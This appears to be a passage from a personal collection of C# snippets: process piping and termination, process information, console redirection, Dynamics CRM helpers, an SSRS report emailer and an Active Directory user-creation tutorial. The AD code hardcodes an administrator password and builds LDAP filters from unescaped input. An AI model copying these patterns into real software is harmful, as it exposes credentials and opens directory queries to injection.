                    System.Windows.Forms.MessageBox.Show("Solution build sucessfully..\n\n" + sourceName + "\n" + cr.PathToAssembly, "dotCompiler:)", System.Windows.Forms.MessageBoxButtons.OK); 
                } 
         
                    // Return the results of the compilation. 
                    if (cr.Errors.Count > 0) 
                    { 
                        compileOk = false; 
                    } 
                    else 
                    { 
                        compileOk = true; 
                    } 
                } 
            return compileOk; 
            } 
         
        } 
    } 
    

    Piping a process

    //process piping
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Diagnostics;
    using System.IO;
    using System.Windows.Forms;
    
    namespace IndiLogiX.Propipe
    {
        static class IProcessPipe
        {
    
            public static void ExecPro(string ProcName, string args, string WrkDir, string cmdtxt, out string coutext)
            {
                Process cmd = new Process();
    
                cmd.StartInfo.FileName = ProcName;
                cmd.StartInfo.Arguments = args;
                cmd.StartInfo.UseShellExecute = false;
                cmd.StartInfo.WorkingDirectory = WrkDir;
                cmd.StartInfo.CreateNoWindow = true;
                cmd.StartInfo.ErrorDialog = true;
                cmd.StartInfo.RedirectStandardOutput = true;
                cmd.StartInfo.RedirectStandardInput = true;
                cmd.StartInfo.RedirectStandardError = true;
    
                cmd.Start();
                StreamWriter cin = cmd.StandardInput;
                StreamReader cout = cmd.StandardOutput;
    
                cin.WriteLine(cmdtxt);
                cin.Close();
                coutext = cout.ReadToEnd();
                cmd.WaitForExit();
                cmd.Close();
            }
    
            public static string ExecPro(string ProcName, string args, string WrkDir, string cmdtxt)
            {
                Process cmd = new Process();
                string coutext;
                cmd.StartInfo.FileName = ProcName;
                cmd.StartInfo.Arguments = args;
                cmd.StartInfo.UseShellExecute = false;
                cmd.StartInfo.WorkingDirectory = WrkDir;
                cmd.StartInfo.CreateNoWindow = true;
                cmd.StartInfo.ErrorDialog = true;
                cmd.StartInfo.RedirectStandardOutput = true;
                cmd.StartInfo.RedirectStandardInput = true;
                cmd.StartInfo.RedirectStandardError = true;
    
                cmd.Start();
                StreamWriter cin = cmd.StandardInput;
                StreamReader cout = cmd.StandardOutput;
    
                cin.WriteLine(cmdtxt);
                cin.Close();
                coutext = cout.ReadToEnd();
                cmd.WaitForExit();
                cmd.Close();
    
                return coutext;
            }
    
    
        }
    }
    
    

    Kill a process

    //Kill process
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Diagnostics;
    
    namespace IndiLogix.ProcKiller
    {
        class IProcKiller
        {
            public void I_KillByName(string ProcName)
            {
                try
                {
                    Process[] processByName = Process.GetProcessesByName(ProcName);
                    //Process pogo = Process.GetProcesses(); 
                    foreach (Process pr in processByName)
                    {
                        pr.Kill();
                    }
                }
                catch
                {
                    Console.WriteLine("Cannot terminate " + ProcName + "\n");
                }
            }
    
            public void I_KillByWinName(string WindowName)
            {
                //bool res; 
                try
                {
                    Process[] pro = Process.GetProcesses();
                    foreach (Process p in pro)
                    {
                        if (p.MainWindowTitle.Equals(WindowName))
                        {
                            //res = true; 
                            p.Kill();
                            //return true; 
                            //break; 
                        }
                        else
                        {
                            //res = false; 
                            //return false; 
                            //break; 
                        }
                    }
                }
                catch
                {
                    System.Windows.Forms.MessageBox.Show("Cannot terminate " + WindowName + "\n Process Not found", "Erraor:");
                }
                //return true; 
            }
        }
    }
    
    

    Get Process Information

    //Get Process Infomation
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Diagnostics;
    
    namespace IndiLogix.ProcInf
    {
        struct ProcInfo
        {
            internal string PName, PWinTitle, PMscNm, PMnMod, PMmFnm;
            internal int PId, PBsPri, PExCod, PHwCnt, PMModMemSz, PSsnId, PThdCnt;
            internal DateTime PExTim, PStrTime;
            internal IntPtr PHwnd, PMmBsAdd, PMmEnPoAd, PMnWinHw, PMxWrkSt, PMinWrkSet, PProAff;
            internal bool PHsExt, PResp, PPriBooEnb;
            internal FileVersionInfo PMmFlVer;
            internal TimeSpan PToProTm, PUsrProTim, PPrvProTim;
            internal long PNonPgSysMemSiz, PWrkSet, PVirMemSiz, PPgMemSiz, PPgSysMemSiz, PPekPgMemSiz, PPekVirMemSiz, PPekWrkSet, PPvtMemSiz;
    
        };
    
        class I_ProcInfo
        {
            private const string usage = @"This is process Framework form IndiLogix, 
        It shows various process info";
    
            private ProcInfo pn;
    
            public string AboutIt
            {
                get { return usage; }
            }
            #region Process Property
            public int ProcessId { get { return pn.PId; } }
            public string MainWindowTitle { get { return pn.PWinTitle; } }
            public string ProcessName { get { return pn.PName; } }
            public int BasePriority { get { return pn.PBsPri; } }
            public int ExitCode { get { return pn.PExCod; } }
            public IntPtr Handle { get { return pn.PHwnd; } }
            public int HandleCount { get { return pn.PHwCnt; } }
            public bool HasExited { get { return pn.PHsExt; } }
            public string MachineName { get { return pn.PMscNm; } }
            public string Mod_Filename { get { return pn.PMmFnm; } }
            public FileVersionInfo Mod_Verinfo { get { return pn.PMmFlVer; } }
            public int Mod_MemorySize { get { return pn.PMModMemSz; } }
            public IntPtr Mod_BaseAddress { get { return pn.PMmBsAdd; } }
            public IntPtr Mod_EntryPointAddress { get { return pn.PMmEnPoAd; } }
            public string Mod_ModuleName { get { return pn.PMnMod; } }
            public IntPtr MainWindowHandle { get { return pn.PMnWinHw; } }
            public IntPtr MaxWorkingSet { get { return pn.PMxWrkSt; } }
            public IntPtr MinWorkingSet { get { return pn.PMinWrkSet; } }
            public bool Responding { get { return pn.PResp; } }
            public int SessionId { get { return pn.PSsnId; } }
            public int ThreadsCount { get { return pn.PThdCnt; } }
            public TimeSpan TotalProcessTIme { get { return pn.PToProTm; } }
            public TimeSpan UserProcessTIme { get { return pn.PUsrProTim; } }
            public long NonPagedSysMemory { get { return pn.PNonPgSysMemSiz; } }
            public long PageMemorySize { get { return pn.PPgMemSiz; } }
            public long PagedSystemMemorySize { get { return pn.PPgSysMemSiz; } }
            public long PeakPagedMemorySize { get { return pn.PPekPgMemSiz; } }
            public long PeakVirtualMemorySize { get { return pn.PPekVirMemSiz; } }
            public long PeakWorkingSet { get { return pn.PPekWrkSet; } }
            public bool PriorityBoostEnabled { get { return pn.PPriBooEnb; } }
            public long PrivateMemorySize { get { return pn.PPvtMemSiz; } }
            public TimeSpan PrivilegedProcessTime { get { return pn.PPrvProTim; } }
            public IntPtr ProcessorAffinity { get { return pn.PProAff; } }
            public DateTime StartTime { get { return pn.PStrTime; } }
            public long VirtualMemorySize { get { return pn.PVirMemSiz; } }
            public long WorkingSet { get { return pn.PWrkSet; } }
            #endregion
    
            public void I_Kill(string ProcName)
            {
                try
                {
                    Process[] processByName = Process.GetProcessesByName(ProcName);
                    //Process pogo = Process.GetProcesses(); 
                    foreach (Process pr in processByName)
                    {
                        pr.Kill();
                    }
                }
                catch
                {
                    Console.WriteLine("Cannot terminate " + ProcName + "\n");
                }
            }
    
            public void I_Kill(int Id)
            {
                try
                {
                    Process processById = Process.GetProcessById(Id);
                    processById.Kill();
                    //foreach (Process pr in processByName) 
                    //{ 
                    //    pr.Kill(); 
                    //} 
                }
                catch
                {
                    Console.WriteLine("Cannot terminate " + Id + "\n");
                }
            }
    
            public static void I_GetRunningProc()
            {
                Process[] go = Process.GetProcesses();
                foreach (Process g in go)
                {
                    Console.WriteLine("{0}|{1}|{2}", g.ProcessName, g.MainWindowTitle, g.Id.ToString());
                }
            }
    
            public string I_GetProcName(int Id)
            {
                string res = "Process Not Found";
                Process[] pro = Process.GetProcesses();
                foreach (Process p in pro)
                {
                    if (p.Id.Equals(Id))
                    {
                        res = p.ProcessName;
                        break;
                    }
                    else
                    {
                        res = "Process Not Found";
                    }
                }
                return res;
            }
    
            public int I_GetProcId(string pnm)
            {
                int res = 0;
                Process[] pro = Process.GetProcesses();
                foreach (Process p in pro)
                {
                    if (p.ProcessName.Equals(pnm))
                    {
                        res = p.Id;
                        break;
                    }
                    else
                    {
                        res = 0;
                    }
                }
                return res;
            }
            public void I_GetProcInfo(string ProcessName)
            {
                Process[] go = Process.GetProcesses();
                foreach (Process g in go)
                {
                    if (g.ProcessName.Equals(ProcessName))
                    {
                        pn.PName = g.ProcessName;
                        pn.PWinTitle = g.MainWindowTitle;
                        pn.PId = g.Id;
                        pn.PBsPri = g.BasePriority;
                        //pn.PExCod = g.ExitCode; 
                        //pn.PExTim = g.ExitTime; 
                        pn.PHwnd = g.Handle;
                        pn.PHwCnt = g.HandleCount;
                        pn.PHsExt = g.HasExited;
                        pn.PMscNm = g.MachineName;
                        pn.PMmFnm = g.MainModule.FileName;
                        pn.PMmFlVer = g.MainModule.FileVersionInfo;
                        pn.PMModMemSz = g.MainModule.ModuleMemorySize;
                        pn.PMmBsAdd = g.MainModule.BaseAddress;
                        pn.PMmEnPoAd = g.MainModule.EntryPointAddress;
                        pn.PMnMod = g.MainModule.ModuleName;
                        pn.PMnWinHw = g.MainWindowHandle;
                        pn.PMxWrkSt = g.MaxWorkingSet;
                        pn.PMinWrkSet = g.MinWorkingSet;
                        pn.PResp = g.Responding;
                        pn.PSsnId = g.SessionId;
                        pn.PThdCnt = g.Threads.Count;
                        pn.PToProTm = g.TotalProcessorTime;
                        pn.PUsrProTim = g.UserProcessorTime;
                        pn.PNonPgSysMemSiz = g.NonpagedSystemMemorySize64;
                        pn.PPgMemSiz = g.PagedMemorySize64;
                        pn.PPgSysMemSiz = g.PagedSystemMemorySize64;
                        pn.PPekPgMemSiz = g.PeakPagedMemorySize64;
                        pn.PPekVirMemSiz = g.PeakVirtualMemorySize64;
                        pn.PPekWrkSet = g.PeakWorkingSet64;
                        pn.PPriBooEnb = g.PriorityBoostEnabled;
                        pn.PPvtMemSiz = g.PrivateMemorySize64;
                        pn.PPrvProTim = g.PrivilegedProcessorTime;
                        pn.PProAff = g.ProcessorAffinity;
                        pn.PStrTime = g.StartTime;
                        pn.PVirMemSiz = g.VirtualMemorySize64;
                        pn.PWrkSet = g.WorkingSet64;
                    }
                }
    
    
            }
    
        }
    }
    
    

    Console output in memory stream

    //piping console output
    MemoryStream mem = new MemoryStream(1000); 
                StreamWriter writer = new StreamWriter(mem); 
                Console.SetOut(writer); 
         
                Assembly assembly = Assembly.LoadFrom(@"C:\ConsoleApp.exe"); 
                assembly.EntryPoint.Invoke(null, null); 
                writer.Close(); 
         
                string s = Encoding.Default.GetString(mem.ToArray()); 
                mem.Close();
    

    Redirect Cmd.exe to window

    //Piping Console
            void RunWithRedirect(string cmdPath) 
            { 
                var proc = new Process(); 
                proc.StartInfo.FileName = cmdPath; 
         
                // set up output redirection 
                proc.StartInfo.RedirectStandardOutput = true; 
                proc.StartInfo.RedirectStandardError = true;    
                proc.EnableRaisingEvents = true; 
                proc.StartInfo.CreateNoWindow = true; 
                // see below for output handler 
                proc.ErrorDataReceived += proc_DataReceived; 
                proc.OutputDataReceived += proc_DataReceived; 
         
                proc.Start(); 
         
                proc.BeginErrorReadLine(); 
                proc.BeginOutputReadLine(); 
         
                proc.WaitForExit(); 
            } 
         
            void proc_DataReceived(object sender, DataReceivedEventArgs e) 
            { 
                // output will be in string e.Data 
            }
    

    Follow a lead from creation through closure

    A lead record in Microsoft Dynamics CRM Online represents a potential customer who must be qualified or disqualified as a sales opportunity. You can use leads to manage potential sales from the point at which you become aware of a customer's interest through the successful sale.

    The following diagram illustrates the ways that you can create a lead and convert it to several different record types.

    Lead diagram

    There are several ways that you can create a lead in Microsoft Dynamics CRM Online:

    After you create the lead, you can convert it into any of the following three record types:

    • Account
    • Contact
    • Opportunity

    When you convert the lead to an opportunity, you can also choose to link the new opportunity to the new accounts or contacts you may have created, or to an existing account or contact in your Microsoft Dynamics CRM Online database.

    Follow an opportunity from creation through closure

    An opportunity is a potential sale or possible revenue from an account or contact.

    The following diagram illustrates the ways that you can create an opportunity and close it when the potential customer decides whether to move forward with the sale.

    Opportunity diagram

    There are several ways that you can create an opportunity in Microsoft Dynamics CRM:

    When you know whether or not the customer is going to move forward with the sale, you can close the opportunity with a status of either Won or Lost.

    Display Assembly attributes

    This C# code snippet displays a list of all the Assembly attributes contained in an assembly file.
    using System.Reflection;
     
    // Change the LoadFrom argument to point to your assembly file
    Assembly assembly  = 
       Assembly.LoadFrom (@"C:\Documents\ClassLibrary.dll");
    object[] attibutes = assembly.GetCustomAttributes (true);
    if (attibutes .Length > 0)
       {
       Console.WriteLine ("Assembly attributes for '{0}'", assembly );
       foreach (object o in attibutes) {
          Console.WriteLine ("Attribute: {0}", o.ToString());
       }
    

    Extension method to Serialize/Deserialize MSCRM Entity

    Extension method to Serialize/DeSerialize MSCRM Entity
    public static class ExtensionMethods
    {
    //Serialize Entity
    public static string serialize(this DynamicEntity dynamicEntity)
    {
    StringWriter stringwriter = new StringWriter();
    XmlSerializer serilizer = new XmlSerializer(dynamicEntity.GetType());
    serilizer.Serialize(stringwriter, dynamicEntity);
    return stringwriter.ToString();
    }
    //Deserialize Entity
    public static DynamicEntity deserialize(this string serializeEntity)
    {
    var stringReader = new StringReader(serializeEntity);
    var serializer = new XmlSerializer(typeof(DynamicEntity));
    return serializer.Deserialize(stringReader) as DynamicEntity;
    }
    }

    Email SSRS report using CRM SDK

    I have SSRS report on my report server and i need to email that report from source code in .net.
    /*Email SSRS report using CRM SDK.. 
    
    
    -Add web reference in your project and set web reference url of your web service of ssrs e.g.
    http://10.1.4.83/ReportServer/ReportExecution2005.asmx
    
    -Add these references in your code editor.
    */
    using Microsoft.Crm.Sdk;
    
    using Microsoft.Crm.SdkTypeProxy;
    using Microsoft.Crm.Sdk.Query; 
    using MCS.Crm.emailssrs.ReportExecution; //MCS.Crm.emailssrs is project name 
    using Microsoft.Win32; 
    using System.Net; 
      
    Write a function and add code below.  
     public void SendSSRSReport()
    {
    string reportServiceUrl = "http://10.1.4.83/ReportServer/ReportExecution2005.asmx"; 
    
    // Create the Report Service Url from the registry
    RegistryKey key = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\MSCRM", false);
    if (key != null)
    
    {
    
    reportServiceUrl = (string)key.GetValue("SQLRSServerURL") + @"/ReportExecution2005.asmx";
    
    }
    // Report parameter Name and Value fields are strings.
    ReportExecution.ParameterValue[] parameters = new ParameterValue[3];
    parameters[0] = new ParameterValue();
    parameters[0].Label = "RegistrationNumber";
    parameters[0].Name = "RegistrationNumber";
    parameters[0].Value = mcs_RegistrationNumber;
    
    parameters[1] = new ParameterValue();
    parameters[1].Label = "FromDate";
    parameters[1].Name = "FromDate";
    parameters[1].Value = _fdate.ToShortDateString();
    
    parameters[2] = new ParameterValue();
    parameters[2].Label = "ToDate";
    parameters[2].Name = "ToDate";
    parameters[2].Value = _tdate.ToShortDateString();
    
    string reportName = "myreport";
    // Specify what type of report you want to create HTML,PDF, CVS, Excel, Word, XML, MHTML, Image
    string reportFormat = "PDF";
    
    // Specify the device information to control the output of your report.
    //For device information See http://msdn2.microsoft.com/en-us/library/ms155397.aspx
    
    string deviceInformation = "2402400";
    
    // Generate a report in a format for a CRM annotation or email attachment
    byte[] generatedReport = GenerateSRSbytes(reportName, parameters, reportFormat, deviceInformation, reportServiceUrl, null, null, null);
    string _str = Convert.ToBase64String(generatedReport);
    string FileName = "myreport.pdf";
    string Subject = "Email SSRS Report ";
    
    mcsCrmService= new CrmService();
    
    CrmAuthenticationToken token = new CrmAuthenticationToken();
    token.AuthenticationType = 0;
    token.OrganizationName = "TestOrg";
    mcsCrmService.Url ="http://10.1.4.83:5555/mscrmservices/2007/crmservice.asmx";
    mcsCrmService.PreAuthenticate = true;
    mcsCrmService.CrmAuthenticationTokenValue = token;
    mcsCrmService.Credentials=System.Net.CredentialCache.DefaultCredentials;
    
    Guid _to = new Guid("e1b67b12-1e8a-4bb2-9c86-fdb8f75dda4d");//To email address GUID
    Guid _from = new Guid("a1e9c6a2-73e5-4117-a8c9-c15b89a92203");//From email address GUID 
      
    // Create an activity party for the email 
    
    activityparty party = new activityparty();
    party.partyid = new Lookup();
    party.partyid.type = EntityName.systemuser.ToString();
    party.partyid.Value = _from;
    
    
    activityparty party2 = new activityparty();
    party2.partyid = new Lookup();
    party2.partyid.type = EntityName.account.ToString();
    party2.partyid.Value = _to;
    
    
    
    //Create email template in CRM and get GUID of that template from Internet Explorer:
    Guid _templateid = new Guid("a783eea1-222b-461c-9c1f-e8185fd5504d");//template GUID
    InstantiateTemplateRequest _insTemplate = new InstantiateTemplateRequest();//Initialize template object.
    _insTemplate.TemplateId=_templateid;
    _insTemplate.ObjectId = (Guid)party2.partyid.Value;
    _insTemplate.ObjectType=party2.partyid.type;
    
    InstantiateTemplateResponse _tempResponse=(InstantiateTemplateResponse)mcsCrmService.Execute(_insTemplate);
    
    // Create an email message.
    
    
    email email = (email)_tempResponse.BusinessEntityCollection.BusinessEntities[0];
    
    
    // Set email properties
    email.from = new activityparty[] { party };
    email.to = new activityparty[] { party2 };
    email.regardingobjectid = party2.partyid;
    email.subject = Subject ;
    email.directioncode = new CrmBoolean(true);
    
    Guid emailID = mcsCrmService.Create(email);
    attachment.activityid = new Lookup();
    attachment.activityid.Value = emailID;
    attachment.activityid.type = EntityName.email.ToString();
    attachment.filename = FileName;
    attachment.attachmentnumber = new CrmNumber();
    attachment.body = _str;
    attachment.mimetype = @"application/pdf";
    
    // Create the Attachment in CRM. 
    Guid attachmentId = mcsCrmService.Create(attachment);
    
    //Send Email.
    
    SendEmailRequest _sendEmailReq = new SendEmailRequest();
    _sendEmailReq.EmailId = emailID;
    _sendEmailReq.IssueSend = true;
    _sendEmailReq.TrackingToken = "";
    
    mcsCrmService.Execute(_sendEmailReq); 
      
    } 
    public byte[] GenerateSRSbytes(string reportPath, ParameterValue[] parameters, string outputFormat, string deviceInformation, string ReportServiceUrl, string userName, string passWord, string domainName) 
    {
    
    string encoding;
    string mimeType;
    string extension;
    string[] streamIDs;
    string SessionId;
    string historyID = null;
    Warning[] warnings;
    
    // By default the Report will run with the permissions of the AD authenticated User.
    ReportExecutionService rs = new ReportExecutionService();
    rs.Credentials = System.Net.CredentialCache.DefaultNetworkCredentials;
    rs.Url = ReportServiceUrl;
    
    // Impersonate credentials if they are specified. 
    if (userName != null && passWord != null)
    {
    if (domainName == null)
    {
    rs.Credentials = new NetworkCredential(userName, passWord);
    }
    else
    {
    rs.Credentials = new NetworkCredential(userName, passWord, domainName);
    }
    }
    
    // Set timeout in seconds of the report takes a long time.
    rs.Timeout = 600000;
    ExecutionHeader execHeader = new ExecutionHeader();
    rs.ExecutionHeaderValue = execHeader;
    ExecutionInfo execInfo = new ExecutionInfo();
    execInfo = rs.LoadReport(reportPath, historyID);
    rs.SetExecutionParameters(parameters, "en-us");
    SessionId = rs.ExecutionHeaderValue.ExecutionID;
    
    // Render Report
    return rs.Render(outputFormat, deviceInformation, out extension, out mimeType, out encoding, out warnings, out streamIDs);
    
    } 
    

    Delegate Event

    Example of Delegate event in c#

    public class DelegateServer
    {
    public delegate void DoubleClickEventHandler(MemberNode member);
    public event DoubleClickEventHandler DoubleClick;
    public delegate void PageRefreshEventHandler(object sender, System.EventArgs e);
    public event PageRefreshEventHandler PageRefresh;
    }
    public class DelegateClient
    {
    private DelegateServer x;
    private void z1(MemberNode member)
    {
    }
    private void z2(object sender, System.EventArgs e)
    {
    }
    public DelegateClient()
    {
    //Converted event handler wireups:
    x.DoubleClick += new DelegateServer.DoubleClickEventHandler(z1);
    x.PageRefresh += new DelegateServer.PageRefreshEventHandler(z2);
    }
    }
    //'''''''''''''''''''''''''''''''''''
    public class Test
    {
    public delegate string TestDelegate(int y);
    private void abc(TestDelegate td)
    {
    //...
    }
    private void xyz()
    {
    TestDelegate zz = null;
    zz = new TestDelegate(SomeMethod);
    abc(zz);
    abc(SomeMethod);
    ControlA.Click += new ControlA.SomeEventHandler(ControlA_Click);
    //have the option of not specifying the event delegate:
    ControlB.Click += ControlB_Click;
    }
    private void ControlA_Click(object sender, ControlA.SomeEventArgs e)
    {
    }
    private void ControlB_Click(object sender, ControlB.SomeEventArgs e)
    {
    }
    }

    Create User in AD

    using System;
    using System.Collections;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.DirectoryServices;
    using System.DirectoryServices.ActiveDirectory;
    using System.DirectoryServices.AccountManagement;
    
    namespace ActiveDirectory_User
     {
      class Program
      {
      // our User class
      public class User
      {
       // our user variables
       public string Firstname;
       public string Lastname;
       public string LoginId;
       public string Department;
       public string Office;
       public string EmailAddress;
       public bool IsDisabled;
    
       // Default constructor for our user object
       public User() { }
    
       // Custom constructor that takes a set of parameters and sets the respective variable - notice how I change
       // the variable from camelCase to PascalCase - this is how I program, you do not have to do this but do get in to a
       // habit of standardising your code variables
       public User(string firstName, string lastName, string loginId, string department, string office, string emailAddress)
       {
        Firstname = firstName;
        Lastname = lastName;
        LoginId = loginId;
        Department = department;
        Office = office;
        EmailAddress = emailAddress;
       }
    
       // user method one (CreateAccount)
       public bool CreateAccount()
       {
        // wrap our connection in a try catch block which will safeguard us against application crash if for example we can't connect to AD
        try
        {
         string FullPath = "LDAP://PLABDC01/ou=" + Department + ",dc=PRACTICELABS,dc=COM";
    
         // Active directory connection
         DirectoryEntry Directory = new DirectoryEntry(FullPath, "Administrator", "Passw0rd");
    
         // New user
         DirectoryEntry NewUser = Directory.Children.Add("CN=" + LoginId, "user");
    
         // givenName is first name
         NewUser.Properties["givenName"].Value = Firstname;
    
         // sn is last name
         NewUser.Properties["sn"].Value = Lastname;
    
         // login id
         NewUser.Properties["sAMAccountName"].Value = LoginId;
    
         // office
         NewUser.Properties["physicalDeliveryOfficeName"].Value = Office;
    
         // commit the new user
         NewUser.CommitChanges();
    
         // update the user to be enabled, here we CAST the value as an integer (i.e. we instruct the compiler that the return type value will be an int.
         // casting this will cause exceptions if the return type is not what you specify so beware!
         int val = (int)NewUser.Properties["userAccountControl"].Value;
         NewUser.Properties["userAccountControl"].Value = val & ~0x2;
         NewUser.CommitChanges();
    
         // everything worked ok, return a value of true
         return true;
        }
        catch (Exception error)
        {
         // an error occured, write the error message out and return a value of false
         Console.Write("An error occured while creating user:{0} {1}: \n{2}", Firstname, Lastname, error.Message);
         return false;
        }
       }
    
       // user method that searches active directory to find our account and then disable it
       public bool DisableAccount()
       {
        // wrap our method in a try catch block in case it fails when we connect to AD or something
        try
        {
         // attach to AD
         DirectoryEntry Directory = new DirectoryEntry("LDAP://dc=PRACTICELABS,dc=COM");
    
         // create an AD search object
         DirectorySearcher SearchAD = new DirectorySearcher(Directory);
    
         // add our filter which is our login id
         SearchAD.Filter = "(SAMAccountName=" + LoginId + ")";
         SearchAD.CacheResults = false;
    
         // get the result
         SearchResult Result = SearchAD.FindOne();
         Directory = Result.GetDirectoryEntry();
    
         // if we get the result, disable the account and commit the changes
         Directory.Properties["userAccountControl"].Value = 0x0002;
         Directory.CommitChanges();
         return true;
        }
        catch (Exception error)
        {
         // oh dear something went wrong, again write the error message out including the login id
         Console.WriteLine("An error occured when disabling this user:{0}\n{1}", LoginId, error.Message);
         return false;
        }
       }
      }
    
      static void Main(string[] args)
      {
       // create our OU's
       string[] Departments = { "Marketing", "Sales", "Human Resources" };
       foreach (string dept in Departments)
       {
        CreateOU(dept);
       }
    
       // generate our random users - this populates AD
       List MyRandomUsers = GenerateRandomUserAccounts();
    
       // write our user information to the console so we can see the users that were created
       foreach (User u in MyRandomUsers)
       {
        Console.WriteLine((u.Firstname + " " + u.Lastname).PadRight(18, ' ') + u.Department.PadRight(18, ' ') + u.Office);
       }
    
       // disable every other account
       int Count = 0;
       foreach (User u in MyRandomUsers)
       {
        if (Count % 2 == 0)
        {
         if (u.DisableAccount())
         {
          Console.WriteLine("Disabled: {0} {1} in department: {2}", u.Firstname, u.Lastname, u.Department);
         }
         else
         {
          Console.WriteLine("Failed to disable: {0} {1} in department: {2}", u.Firstname, u.Lastname, u.Department);
         }
        }
        Count++;
       }
    
       // this is an added function not explained in the tutorial, for more information see the explaination of the code beloew
       UpdateDisabled(MyRandomUsers);
    
       // write out the users (proves the update of the IsDisabled flag of the user object
       foreach (User u in MyRandomUsers)
       {
        if (u.IsDisabled)
        {
         Console.WriteLine("Account:{0} is disabled", u.LoginId);
        }
       }
    
       // wait for a keypress so everything doesnt disapear
       Console.ReadLine();
      }
    
      public static void UpdateDisabled(List users)
      {
       Console.WriteLine("Updating disabled accounts");
       foreach (User u in users)
       {
        try
        {
         DirectoryEntry Directory = new DirectoryEntry("LDAP://dc=PRACTICELABS,dc=COM");
    
         DirectorySearcher Search = new DirectorySearcher(Directory);
         Search.Filter = "(SAMAccountName=" + u.LoginId + ")";
         Search.CacheResults = false;
         SearchResult Result = Search.FindOne();
    
         Directory = Result.GetDirectoryEntry();
         object o = Directory.Properties["userAccountControl"].Value;
    
         // (514 = disabled)
         if ((int)Directory.Properties["userAccountControl"].Value == 514)
         {
          // this account is disabled
          u.IsDisabled = true;
         }
         else
         {
          // this account is not disabled
          u.IsDisabled = false;
         }
        }
        catch (Exception error)
        {
         Console.WriteLine("An error occured when disabling this user:{0}\n{1}", u.LoginId, error.Message);
        }
       }
      }
    
      public static void CreateOU(string ou)
      {
      try
      {
       if (!DirectoryEntry.Exists("LDAP://PLABDC01/ou=" + ou + ",dc=PRACTICELABS,dc=COM"))
       {
        try
        {
         DirectoryEntry ActiveDirectory = new DirectoryEntry("LDAP://PLABDC01/dc=PRACTICELABS,dc=COM", "Administrator", "Passw0rd");
         DirectoryEntry NewOU = ActiveDirectory.Children.Add("OU=" + ou, "OrganizationalUnit");
         NewOU.CommitChanges();
         ActiveDirectory.CommitChanges();
         Console.WriteLine("Created OU:{0}", ou);
         }
        catch (Exception error)
        {
         Console.WriteLine("An error occured while creating group:{0} :\n{1}", ou, error.Message);
        }
       }
       else
       {
        Console.WriteLine("OU already exists");
       }
      }
      catch (Exception error)
      {
       Console.WriteLine("We couldnt connect to AD! Is the server powered on?. Exception generated was\n{0}", error.Message);
      }
     }
    
     public static List GenerateRandomUserAccounts()
     {
      List RandomUsers = new List();
      string[] Firstnames = { "Bart", "Homer", "Maggie", "Marge", "Lisa", "Ned" }; // our firstname
      string[] Lastnames = { "Simpson", "Flanders", "Smith" }; // our lastname
      string[] Departments = { "Marketing", "Sales", "Human Resources" }; // our OU
      string[] Offices = { "London", "New York", "Hong Kong", "Japan" }; // our office
    
      Random RandomNumber = new Random();
    
      foreach (string l in Lastnames)
      {
       foreach (string f in Firstnames)
       {
        int DepartmentId = RandomNumber.Next(0, Departments.Length);
        int OfficeId = RandomNumber.Next(0, Offices.Length);
        User NewUser = new User(f, l, f + "." + l, Departments[DepartmentId], Offices[OfficeId], f + "." + l + "@practicelabs.com");
        RandomUsers.Add(NewUser);
        if (NewUser.CreateAccount())
        {
         Console.WriteLine("Created user OK:" + f + " " + l);
        }
       }
      }
      return RandomUsers;
     }
     }
    }